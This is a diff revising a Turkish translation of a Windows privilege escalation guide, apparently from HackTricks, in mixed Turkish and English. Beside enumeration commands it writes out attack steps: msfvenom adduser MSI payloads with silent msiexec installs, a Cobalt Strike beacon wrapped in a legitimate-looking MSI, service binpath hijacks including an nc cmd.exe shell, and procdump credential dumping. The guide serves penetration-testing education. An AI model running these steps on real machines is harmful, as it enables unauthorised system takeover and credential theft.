açacağınızı şu adresten öğrenebilirsiniz: [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Bunu nasıl etkinleştireceğinizi şu adresten öğrenebilirsiniz: [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,29 +116,29 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShell pipeline yürütmelerinin ayrıntıları kaydedilir; yürütülen komutlar, komut çağrıları ve betiklerin parçaları dahil. Ancak tam yürütme ayrıntıları ve çıktı sonuçları yakalanmayabilir. +PowerShell pipeline yürütmelerinin ayrıntıları kaydedilir; yürütülen komutlar, komut çağrıları ve betiklerin bölümleri dahil olmak üzere. Ancak tüm yürütme ayrıntıları ve çıktı sonuçları yakalanmayabilir. -Bunu etkinleştirmek için belgedeki "Transcript files" bölümündeki talimatları izleyin ve **"Module Logging"** yerine **"Powershell Transcription"** değil, **"Module Logging"** seçeneğini tercih edin. +Bunu etkinleştirmek için belgelendirmedeki "Transcript files" bölümündeki talimatları izleyin ve **"Module Logging"**'i **"Powershell Transcription"** yerine seçin. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -PowersShell logs'tan son 15 olayı görüntülemek için şunu çalıştırabilirsiniz: +PowersShell günlüklerinin son 15 olayını görüntülemek için şunu çalıştırabilirsiniz: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Betik yürütmesinin tam etkinlik ve içerik kaydı yakalanır; böylece her kod bloğu çalıştığı anda belgelenir. Bu süreç, adli inceleme ve kötü amaçlı davranış analizleri için değerli olan her etkinliğin kapsamlı bir denetim izini korur. Tüm etkinlikleri yürütme anında belgelendirerek süreç hakkında ayrıntılı içgörüler sağlar. +Komut dosyasının yürütülmesinin tam etkinlik ve içerik kaydı tutulur; böylece her kod bloğunun çalışırken belgelenmesi sağlanır. Bu süreç, adli inceleme ve kötü amaçlı davranışların analiz edilmesi için değerli olan her etkinliğin kapsamlı bir denetim izini korur. Yürütme sırasında tüm etkinlikler belgelenerek süreç hakkında ayrıntılı içgörüler sağlanır. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block için olay günlükleri Windows Event Viewer'da şu yolda bulunabilir: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Script Block için kayıt olayları Windows Event Viewer içinde şu yolda bulunabilir: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Son 20 olayı görüntülemek için şunu kullanabilirsiniz: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -158,7 +158,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| Güncellemeler http**S** yerine http ile isteniyorsa sistemi ele geçirebilirsiniz. -Ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını cmd'de aşağıdaki komutu çalıştırarak kontrol edin: +Aşağıdakini cmd'de çalıştırarak ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol etmekle başlarsınız: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -166,7 +166,7 @@ Veya PowerShell'de aşağıdakiler: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Eğer aşağıdakilerden biri gibi bir yanıt alırsanız: +Böyle bir yanıt alırsanız: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -182,7 +182,7 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. -Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored. +O zaman, **istismar edilebilir.** Eğer son kayıt değeri `0` ise, WSUS girdisi göz ardı edilecektir. In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. @@ -197,9 +197,9 @@ CTX_WSUSpect_White_Paper (1).pdf [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ Basically, this is the flaw that this bug exploits: -> Eğer yerel kullanıcı proxy'mizi değiştirme yetkimiz varsa ve Windows Updates Internet Explorer ayarlarında yapılandırılmış proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için yerel olarak [PyWSUS](https://github.com/GoSecure/pywsus) çalıştırma gücüne de sahip oluruz. +> Eğer yerel kullanıcı proxy'sini değiştirme gücümüz varsa ve Windows Updates Internet Explorer’ın ayarlarında yapılandırılmış proxy'yi kullanıyorsa, bu durumda [PyWSUS](https://github.com/GoSecure/pywsus)'u yerel olarak çalıştırıp kendi trafiğimizi yakalayabilir ve varlığımızda yükseltilmiş (elevated) bir kullanıcı olarak kod çalıştırabiliriz. > -> Dahası, WSUS servisi mevcut kullanıcının ayarlarını kullandığından, sertifika deposunu da kullanacaktır. Eğer WSUS ana bilgisayar adı için self-signed bir sertifika üretir ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklerseniz, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceksiniz. WSUS, sertifika üzerinde trust-on-first-use tipi bir doğrulama uygulamak için HSTS-like mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir ise ve doğru ana bilgisayar adına sahipse, servis tarafından kabul edilecektir. +> Dahası, WSUS servisi mevcut kullanıcının ayarlarını kullandığı için onun sertifika deposunu da kullanacaktır. WSUS hostname'i için self-signed bir sertifika oluşturup bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifika üzerinde trust-on-first-use türü bir doğrulamayı uygulamak için HSTS-like mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir kabul ediliyorsa ve doğru hostname'e sahipse, servis tarafından kabul edilecektir. You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). @@ -223,19 +223,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Bir meterpreter oturumunuz varsa bu tekniği **`exploit/windows/local/always_install_elevated`** modülünü kullanarak otomatikleştirebilirsiniz +Eğer bir meterpreter oturumunuz varsa, bu tekniği **`exploit/windows/local/always_install_elevated`** modülünü kullanarak otomatikleştirebilirsiniz ### PowerUP -Yetkileri yükseltmek için geçerli dizinde bir Windows MSI ikili dosyası oluşturmak üzere power-up'tan `Write-UserAddMSI` komutunu kullanın. Bu script, kullanıcı/grup eklemeyi isteyen önceden derlenmiş bir MSI installer oluşturur (bu nedenle GIU erişimine ihtiyacınız olacak): +Aynı dizinde ayrıcalıkları yükseltmek için bir Windows MSI ikili dosyası oluşturmak üzere power-up içinden `Write-UserAddMSI` komutunu kullanın. Bu script, kullanıcı/grup ekleme isteği gösteren ön-derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimi gerekecektir): ``` Write-UserAddMSI ``` -Oluşturulan binary'i çalıştırarak ayrıcalıkları yükseltin. +Sadece oluşturulan binary'yi çalıştırarak ayrıcalıkları yükseltin. ### MSI Wrapper -Bu öğreticiyi okuyarak bu araçla bir MSI Wrapper nasıl oluşturacağınızı öğrenin. Sadece komut satırlarını çalıştırmak istiyorsanız bir "**.bat**" dosyasını sarabilirsiniz. +Bu öğreticiyi okuyarak bu araçları kullanarak bir MSI wrapper oluşturmayı öğrenin. Sadece komut satırlarını çalıştırmak istiyorsanız bir **.bat** dosyasını sarabilirsiniz. {{#ref}} @@ -251,45 +251,44 @@ create-msi-with-wix.md ### Create MSI with Visual Studio -- Cobalt Strike veya Metasploit ile `C:\privesc\beacon.exe` konumuna yeni bir **Windows EXE TCP payload** oluşturun -- **Visual Studio**'yu açın, **Create a new project** seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **Next**'e tıklayın. -- Projeye bir isim verin, örneğin **AlwaysPrivesc**, konum için **`C:\privesc`** kullanın, **place solution and project in the same directory** seçeneğini işaretleyin ve **Create**'e tıklayın. -- Dahil edilecek dosyaları seçme adımına (4 adımlı kurulumu 3. adımı) gelene kadar **Next**'e tıklamaya devam edin. **Add**'e tıklayın ve az önce oluşturduğunuz Beacon payload'ını seçin. Ardından **Finish**'e tıklayın. -- **Solution Explorer** içinde **AlwaysPrivesc** projesini vurgulayın ve **Properties**'te **TargetPlatform**'u **x86**'dan **x64**'e değiştirin. -- Kurulan uygulamayı daha meşru gösterebilecek **Author** ve **Manufacturer** gibi değiştirilebilecek diğer özellikler de vardır. +- Cobalt Strike veya Metasploit kullanarak `C:\privesc\beacon.exe` konumunda yeni bir **Windows EXE TCP payload** oluşturun. +- **Visual Studio**'yu açın, **Create a new project**'ü seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **Next**'e tıklayın. +- Projeye bir isim verin (ör. **AlwaysPrivesc**), konum olarak **`C:\privesc`** kullanın, **place solution and project in the same directory**'i seçin ve **Create**'e tıklayın. +- 4 adımlık süreçte 3. adıma (include edilecek dosyaları seçin) gelene kadar **Next**'e tıklamaya devam edin. **Add**'e tıklayın ve az önce oluşturduğunuz Beacon payload'u seçin. Ardından **Finish**'e tıklayın. +- **Solution Explorer** içinde **AlwaysPrivesc** projesini seçin ve **Properties**'te **TargetPlatform**'ı **x86**'dan **x64**'e değiştirin. +- Yüklenecek uygulamayı daha meşru gösterebilecek **Author** ve **Manufacturer** gibi değiştirebileceğiniz diğer özellikler de vardır. - Projeye sağ tıklayın ve **View > Custom Actions**'ı seçin. - **Install**'e sağ tıklayın ve **Add Custom Action**'ı seçin. -- **Application Folder**'a çift tıklayın, **beacon.exe** dosyanızı seçin ve **OK**'e tıklayın. Bu, installer çalıştırılır çalıştırılmaz beacon payload'ın yürütülmesini sağlar. +- **Application Folder**'a çift tıklayın, **beacon.exe** dosyanızı seçin ve **OK**'e tıklayın. Bu, installer çalıştırılır çalıştırılmaz beacon payload'unun yürütülmesini sağlar. - **Custom Action Properties** altında **Run64Bit**'i **True** olarak değiştirin. -- Son olarak, projeyi derleyin. -- Eğer `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı görünürse, platformu x64 olarak ayarladığınızdan emin olun. +- Son olarak, **build edin**. +- Eğer `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı gösterilirse, platformu x64 olarak ayarladığınızdan emin olun. ### MSI Installation -Kötü amaçlı `.msi` dosyasının arka planda **kurulumunu** gerçekleştirmek için: +Kötü amaçlı `.msi` dosyasının yüklemesini arka planda yürütmek için: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` Bu zafiyeti istismar etmek için şunu kullanabilirsiniz: _exploit/windows/local/always_install_elevated_ -## Antivirüs ve Tespit Sistemleri +## Antivirüsler ve Tespit Araçları ### Denetim Ayarları -Bu ayarlar neyin **kayıt altına alındığını** belirler, bu yüzden dikkat etmelisiniz +Bu ayarlar neyin **kaydedildiğini** belirler, bu yüzden dikkat etmelisiniz ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding, günlüklerin nereye gönderildiğini bilmek ilginçtir +Windows Event Forwarding, logların nereye gönderildiğini bilmek ilginçtir. ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** domain'e katılan bilgisayarlarda bulunan **local Administrator passwords**'in yönetimi için tasarlanmıştır; her parolanın **benzersiz, rastgele ve düzenli olarak güncellenmesini** sağlar. Bu parolalar Active Directory içinde güvenli bir şekilde saklanır ve yalnızca ACLs aracılığıyla yeterli izinleri verilmiş kullanıcılar tarafından erişilebilir; böylece yetkili olduklarında local admin passwords'leri görüntüleyebilirler. - +**LAPS** domain'e katılmış bilgisayarlarda **yerel Administrator parolalarının yönetimi** için tasarlanmıştır; her parolanın **benzersiz, rastgele ve düzenli olarak güncellendiğini** sağlar. Bu parolalar Active Directory içinde güvenli bir şekilde saklanır ve sadece ACLs aracılığıyla yeterli izin verilmiş kullanıcılara erişim izni tanınır; böylece yetkili kullanıcılar local admin parolalarını görüntüleyebilir. {{#ref}} ../active-directory-methodology/laps.md @@ -297,36 +296,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Etkinse, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ +Eğer aktifse, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -**Windows 8.1**'den başlayarak, Microsoft, Local Security Authority (LSA) için güvenilmeyen süreçlerin belleğini **okuma** veya kod enjekte etme girişimlerini **engellemek** amacıyla geliştirilmiş bir koruma getirdi ve böylece sistemi daha da güvenli hale getirdi.\ +**Windows 8.1**'den başlayarak, Microsoft Local Security Authority (LSA) için geliştirilmiş bir koruma getirerek güvenilmeyen süreçlerin **belleğini okumaya** veya kod enjekte etmeye yönelik girişimlerini **engellemek** suretiyle sistemi daha da güvenli hale getirdi.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection) ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** **Windows 10**'da tanıtıldı. Amacı, bir cihazda saklanan kimlik bilgilerini pass-the-hash saldırıları gibi tehditlere karşı korumaktır.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard**, **Windows 10**'da tanıtıldı. Amacı, cihazda depolanan kimlik bilgilerini pass-the-hash gibi tehditlere karşı korumaktır.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials**, **Local Security Authority** (LSA) tarafından doğrulanır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının oturum açma verileri kayıtlı bir güvenlik paketi tarafından doğrulandığında, genellikle kullanıcı için domain credentials oluşturulur.\ -[**Cached Credentials hakkında daha fazla bilgi**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** **Local Security Authority** (LSA) tarafından doğrulanır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının oturum açma verileri kayıtlı bir security package tarafından doğrulandığında, genellikle o kullanıcı için domain credentials oluşturulur.\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Kullanıcılar ve Gruplar +## Kullanıcılar & Gruplar ### Kullanıcıları ve Grupları Listeleme -Ait olduğunuz gruplardan herhangi birinin ilginç izinlere sahip olup olmadığını kontrol etmelisiniz. +Ait olduğunuz grupların herhangi birinin ilginç izinlere sahip olup olmadığını kontrol etmelisiniz. ```bash # CMD net users %username% #Me @@ -341,31 +340,31 @@ Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` -### Ayrıcalıklı gruplar +### Privileged groups -Eğer **bazı ayrıcalıklı gruplara üye iseniz yetkilerinizi yükseltebilirsiniz**. Ayrıcalıklı gruplar ve bunları yetki yükseltme amacıyla nasıl istismar edebileceğinizi öğrenmek için buraya bakın: +Eğer **bazı ayrıcalıklı gruplara üyeyseniz, ayrıcalıkları yükseltebilirsiniz**. Ayrıcalıklı grupları ve bunları ayrıcalıkları yükseltmek için nasıl kötüye kullanabileceğinizi öğrenmek için buraya bakın: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Token manipülasyonu +### Token manipulation -**Daha fazla bilgi edinin** bir **token**'ın ne olduğunu bu sayfada: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -İlginç token'lar ve bunları nasıl istismar edeceğinizi **öğrenmek için** aşağıdaki sayfaya bakın: +**Daha fazla bilgi** için bu sayfada bir **token**'ın ne olduğunu öğrenin: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Aşağıdaki sayfayı **ilginç token'lar hakkında bilgi edinmek** ve bunları nasıl kötüye kullanacağınızı öğrenmek için inceleyin: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Oturum açmış kullanıcılar / Oturumlar +### Logged users / Sessions ```bash qwinsta klist sessions ``` -### Ev klasörleri +### Ev dizinleri ```bash dir C:\Users Get-ChildItem C:\Users @@ -378,12 +377,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Çalışan Süreçler +## Çalışan İşlemler ### Dosya ve Klasör İzinleri -Öncelikle süreçleri listeleyerek **command line içinde passwords olup olmadığını kontrol edin**.\ -Çalışan herhangi bir binary'yi **overwrite edip edemeyeceğinizi** veya binary klasöründe yazma izninizin olup olmadığını kontrol edin; olası [**DLL Hijacking attacks**](dll-hijacking/index.html)'tan faydalanmak için: +Her şeyden önce, process'leri listeleyip **her process'in komut satırında şifreleri kontrol edin**.\ +Çalışan bir binary'yi **overwrite edip edemeyeceğinizi** veya binary klasörünün yazma izinlerine sahip olup olmadığınızı kontrol edin; bu, olası [**DLL Hijacking attacks**](dll-hijacking/index.html) istismarı için kullanılabilir: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -394,9 +393,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Her zaman olası [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md) olup olmadığını kontrol edin. +Her zaman olası [**electron/cef/chromium debuggers** çalışıyor mu diye kontrol edin; bunu kötüye kullanarak escalate privileges gerçekleştirebilirsiniz](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**İşlemlerin ikili dosyalarının izinlerini kontrol etme** +**İşlem ikili dosyalarının izinlerini kontrol etme** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -413,19 +412,19 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### Memory Password mining +### Bellek Password mining -Çalışan bir süreçten bellek dökümü oluşturmak için **procdump** (sysinternals) kullanabilirsiniz. FTP gibi servisler bellekte **credentials in clear text in memory** barındırır; belleğin dökümünü alıp credentials'ları okumayı deneyin. +Çalışan bir sürecin bellek dökümünü sysinternals'tan **procdump** kullanarak oluşturabilirsiniz. FTP gibi servislerin bellekte **credentials in clear text in memory** bulunur; belleği döküp credentials'ları okumayı deneyin. ```bash procdump.exe -accepteula -ma ``` ### Güvensiz GUI uygulamaları -**SYSTEM olarak çalışan uygulamalar bir kullanıcının bir CMD başlatmasına veya dizinlere göz atmasına izin verebilir.** +**SYSTEM olarak çalışan uygulamalar bir kullanıcının CMD başlatmasına veya dizinlere göz atmasına izin verebilir.** -Örnek: "Windows Help and Support" (Windows + F1) açın, "command prompt" arayın, ardından "Click to open Command Prompt" öğesine tıklayın +Örnek: "Windows Help and Support" (Windows + F1), "command prompt" için arama yapın, "Click to open Command Prompt" öğesine tıklayın -## Servisler +## Hizmetler Servislerin listesini alın: ```bash @@ -434,46 +433,46 @@ wmic service list brief sc query Get-Service ``` -### İzinler +### Permissions -Bir servisin bilgilerini almak için **sc**'yi kullanabilirsiniz. +Bir servisin bilgilerini almak için **sc**'yi kullanabilirsiniz ```bash sc qc ``` -Her bir servis için gereken ayrıcalık düzeyini kontrol etmek üzere _Sysinternals_'ten **accesschk** binary'sine sahip olmanız önerilir. +Her hizmet için gereken ayrıcalık düzeyini kontrol etmek amacıyla _Sysinternals_'den binary **accesschk**'ın edinilmesi önerilir. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -"Authenticated Users"ın herhangi bir servisi değiştirebilip değiştiremeyeceğini kontrol etmeniz önerilir: +"Authenticated Users"'in herhangi bir servisi değiştirebilip değiştiremeyeceğini kontrol etmeniz önerilir: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[Buradan XP için accesschk.exe indirebilirsiniz](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[accesschk.exe'yi XP için buradan indirebilirsiniz](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### Servisi etkinleştirme +### Servisi etkinleştir -Eğer bu hatayı alıyorsanız (örneğin SSDPSRV ile): +Bu hatayı alıyorsanız (örneğin SSDPSRV ile): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -Bunu şu komutla etkinleştirebilirsiniz +Aşağıdaki komutla etkinleştirebilirsiniz: ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Dikkate alın: upnphost servisi çalışması için SSDPSRV'ye bağımlıdır (XP SP1 için)** +**upnphost servisinin çalışması için SSDPSRV'ye bağlı olduğunu unutmayın (XP SP1 için)** -**Bu sorunun başka bir geçici çözümü** şunu çalıştırmaktır: +**Bu sorunun başka bir çözümü** ise şunu çalıştırmaktır: ``` sc.exe config usosvc start= auto ``` -### **Servis binary yolunu değiştir** +### **Hizmet ikili dosya yolunu değiştir** -Bir serviste "Authenticated users" grubunun **SERVICE_ALL_ACCESS** yetkisine sahip olduğu durumda, servisin çalıştırılabilir binary'si değiştirilebilir. Binary'i değiştirmek ve **sc**'yi çalıştırmak için: +Bir serviste "Authenticated users" grubunun **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin yürütülebilir ikili dosyası üzerinde değişiklik yapmak mümkündür. Servisi değiştirmek ve çalıştırmak için **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -486,35 +485,35 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Privileges can be escalated through various permissions: +Ayrıcalıklar çeşitli izinler aracılığıyla yükseltilebilir: -- **SERVICE_CHANGE_CONFIG**: Servis ikili dosyasının yeniden yapılandırılmasına izin verir. -- **WRITE_DAC**: İzinlerin yeniden yapılandırılmasına olanak tanır; bu da servis yapılandırmalarını değiştirme yetkisine yol açar. -- **WRITE_OWNER**: Sahipliğin devralınmasına ve izinlerin yeniden yapılandırılmasına izin verir. -- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yetkisini içerir. -- **GENERIC_ALL**: Yine servis yapılandırmalarını değiştirme yetkisini içerir. +- **SERVICE_CHANGE_CONFIG**: Servisin çalıştırdığı binary'nin yeniden yapılandırılmasına izin verir. +- **WRITE_DAC**: İzinlerin yeniden yapılandırılmasını mümkün kılar; bu da servis yapılandırmalarını değiştirme yeteneği sağlar. +- **WRITE_OWNER**: Sahipliğin alınmasına ve izinlerin yeniden yapılandırılmasına izin verir. +- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yeteneği sağlar. +- **GENERIC_ALL**: Ayrıca servis yapılandırmalarını değiştirme yeteneği sağlar. -For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized. +Bu zafiyetin tespiti ve sömürülmesi için _exploit/windows/local/service_permissions_ kullanılabilir. -### Services binaries weak permissions +### Servis ikili dosyalarının zayıf izinleri -**Servisin çalıştırdığı ikili dosyayı değiştirebilip değiştiremeyeceğinizi kontrol edin** veya ikili dosyanın bulunduğu klasörde **yazma izinleriniz** olup olmadığını kontrol edin ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Bir servisin çalıştırdığı tüm ikili dosyaları **wmic** ile (system32'de değil) alabilir ve izinlerinizi **icacls** ile kontrol edebilirsiniz: +**Bir servis tarafından çalıştırılan binary'i değiştirebilip değiştiremeyeceğinizi kontrol edin** veya binary'nin bulunduğu klasörde **yazma iznine** sahip olup olmadığınızı kontrol edin ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Bir servis tarafından çalıştırılan tüm binary'leri **wmic** kullanarak (system32'de değil) elde edebilir ve izinlerinizi **icacls** ile kontrol edebilirsiniz: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -Ayrıca **sc** ve **icacls** de kullanabilirsiniz: +Ayrıca **sc** ve **icacls** kullanabilirsiniz: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Servis kayıtlarını değiştirme izinleri +### Servis kayıt defteri düzenleme izinleri -Herhangi bir servis kaydını değiştirebilip değiştiremeyeceğinizi kontrol etmelisiniz.\ -Bir servis **kaydı** üzerindeki **izinlerinizi** **kontrol** etmek için şunu kullanabilirsiniz: +Herhangi bir servis kayıt defterini değiştirebilme yetkiniz olup olmadığını kontrol etmelisiniz.\ +Bir servis **kayıt defteri** üzerindeki **izinlerinizi** şu şekilde **kontrol** edebilirsiniz: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,15 +522,16 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -**Authenticated Users** veya **NT AUTHORITY\INTERACTIVE**'in `FullControl` izinlerine sahip olup olmadığı kontrol edilmelidir. Eğer sahipseler, servis tarafından çalıştırılan ikili değiştirilebilir. +**Authenticated Users** veya **NT AUTHORITY\INTERACTIVE**'in `FullControl` izinlerine sahip olup olmadığı kontrol edilmelidir. Eğer öyleyse, servis tarafından çalıştırılan binary değiştirilebilir. -Çalıştırılan ikili dosyanın Path'ini değiştirmek için: +Çalıştırılan binary'nin Path'ini değiştirmek için: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Services registry AppendData/AddSubdirectory izinleri +### Servis kayıt defteri AppendData/AddSubdirectory izinleri + +Eğer bir kayıt defteri üzerinde bu izne sahipseniz bu, **bu kayıttan alt kayıtlar oluşturabileceğiniz** anlamına gelir. Windows servisleri durumunda bu, **herhangi bir kodu çalıştırmak için yeterlidir:** -Eğer bir kayıt defteri üzerinde bu izne sahipseniz, bu durum **bu kayıttan alt kayıtlar oluşturabileceğiniz** anlamına gelir. Windows services durumunda bu **herhangi bir kodu çalıştırmak için yeterlidir:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -539,9 +539,9 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -Eğer bir çalıştırılabilir dosyanın yolu tırnak içinde değilse, Windows boşluktan önceki her parçayı çalıştırmaya çalışır. +Bir executable'ın yolu tırnak içinde değilse, Windows boşluktan önce gelen her bölümü çalıştırmayı dener. -For example, for the path _C:\Program Files\Some 